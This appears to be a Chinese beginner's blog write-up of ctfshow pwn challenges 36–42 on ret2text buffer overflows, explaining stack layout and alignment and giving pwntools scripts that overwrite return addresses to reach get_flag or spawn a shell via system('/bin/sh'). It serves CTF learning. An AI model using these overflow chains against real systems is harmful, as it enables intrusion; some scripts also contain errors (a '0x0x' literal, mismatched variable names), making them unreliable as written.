pwn入门之ret2text

今天开始打算写一点博客方便日后复习,佬们看到自行跳过,欢迎萌新交流

例题来自于ctfshow系列

36

审计ida:pwn入门之ret2text_第1张图片这里是先打印图形,然后有一个ctfshow函数,跟进查看发现pwn入门之ret2text_第2张图片

这里有一个get_flag的函数,跟进查看,至此ida中对我们有用的信息基本就全部呈现出来

pwn入门之ret2text_第3张图片

重点来了:存在gets函数,先让我们了解一下gets函数,它可以无限读入数据,造成栈溢出。观察到s变量距离ebp有0x28的距离,对于这个题来说栈结构为先读入s变量然后下面是ebp然后才是返回地址,那么我们就有思路了,往s变量里面填充垃圾数据直到返回地址把返回地址改为我们需要的flag的位置

exp如下

from pwn import*
io=remote('pwn.challenge.ctf.show',28174)
flag=0x8048586
payload=b'a'*(0x28+4)+p32(flag)
io.sendline(payload)
io.interactive()

 逐行解读一些第一行:导入一个pwn的模块(基本格式)

第二行:远程连接靶机(后续会有题目会用到本地......也是基本格式)

第四行:这是我们人为构造的代码数据,根据思路填充垃圾数据0x28个,因为这是32位elf文件所以需要再加上4,p32(flag)即为我们的返回地址。

第五行:发送payload.

第六行:开启交互。

37       首先查看main函数

pwn入门之ret2text_第4张图片

跟进ctfshow函数,发现溢出点read函数,buf变量距离ebp有0x12距离。

pwn入门之ret2text_第5张图片

在ida侧栏中发现system函数

pwn入门之ret2text_第6张图片

exp:

from pwn import*
io=remote('pwn.challenge.ctf.show',28175)
sys=0x8048521
payload=b'a'*(0x12+4)+p32(sys)
io.sendline(payload)
io.interactive()

38

ida分析:和上一题一样(个鸡毛)只不过距离rbp距离变了,还涉及到了堆栈平衡,先上exp吧

from pwn import*
io=remote('pwn.challenge.ctf.show',28103)
rdi=0x4007e3
system=0x400657
payload=b'a'*(0xA+8)+p64(rdi+1)+p64(system)
io.sendline(payload)
io.interactive()

什么是堆栈平衡呢我直接上图pwn入门之ret2text_第7张图片

可以看到在gdb调试中有一个movaps的汇编指令操作进行不下去,可以看到rsp的地址末尾是8不是16的倍数。简单来说需要再p64一个ret才能让system函数执行。(也可以用rdi+1)

使用Ropgadget指令

ROPgadget --binary  文件  --only 'pop|ret'

查询ret地址,同理rdi也能查询。(这道理背后内容很多,可以和我细)

39

main:pwn入门之ret2text_第8张图片main里面有题目描述,跟进ctfshow函数发现read函数,存在溢出点

pwn入门之ret2text_第9张图片

shift+F12查看字符串发现有binsh和system但没有在一起,需要我们构造链子

pwn入门之ret2text_第10张图片

先上exp

from pwn import*
io=remote('pwn.challenge.ctf.show',28245)
Sys=0x80483a0
Bin=0x8048750
payload=b'a'*(0x12+4)+p32(Sys)+p32(0)+p32(Bin)
io.sendline(payload)
io.interactive()

在32位elf文件中都是在栈上传递参数,所以先溢出然后调用system函数这里p32(0)是作为sys函数的返回地址,然后后面再加上bin/sh,就构成一个完整的链子。

40

ida分析和上题一样,只不过文件是64位elf.又有堆栈平衡的原理

先上exp

from pwn import*
io=remote('pwn.challenge.ctf.show',28103)
rdi=0x4007e3
bin=0x0x400808
sys=0x400520
payload=b'a'*(0xA+8)+p64(rdi+1)+p64(rdi)+p64(bin)+p64(sys)
io.sendline(payload)
io.interactive()

与32位不同 ,64位文件是靠寄存器传递参数的,这里我们用这个命令查询rdi寄存器的地址

ROPgadget --binary  文件  --only 'pop|ret'

 解释payload:首先是溢出然后是堆栈平衡的原因需要加上一个p64(rdi+1)这个和ret作用一样然后p64(rdi)时调用rdi这个寄存器把bin/sh这个塞到寄存器里面,然后调用system函数形成完整的链子。

41题和39题一样:exp

from pwn import*
io=remote('pwn.challenge.ctf.show',28206)
Sys=0x80483d0
Sh=0x80487BA
payload=b'a'*(0x12+4)+p32(sys)+p32(0)+p32(sh)
io.sendline(payload)
io.interactive()

42题和40一样:exp:

from pwn import*
io=remote('pwn.challenge.ctf.show',28251)
rdi=0x400843
sys=0x400560
bin=0x400872
payload=b'a'*(0xA+8)+p64(rdi+1)+p64(rdi)+p64(bin)+p64(sys)
io.sendline(payload)
io.interactive()

 总结:所需要新手了解以下原理:栈结构,堆栈平衡原理,寄存器的传参方式。

补充:1:

read函数的构成有三个参数read(fd,buf,count)

 fd:文件描述符,用来指向要操作的文件的文件结构体

 buf:一块内存空间

 count:希望读取的字节数

简单来说就是read(0,buf,0x32)

0不用管buf是我们输入数据的地方,0x32是能写入的字节数。

 2:这里建议在遇到函数时了解一下原理,建议初期多做题,通过题目去了解知识。

3:自我总结,本人目前也是学pwn的一个小菜鸡。本篇文章还是在佬的帮助下解释完成的,以后学的知识足够多了,会对文章具体解释。(文章很多地方不是不解释而是现在知识少,解释不了)

你可能感兴趣的:(python,linux,安全)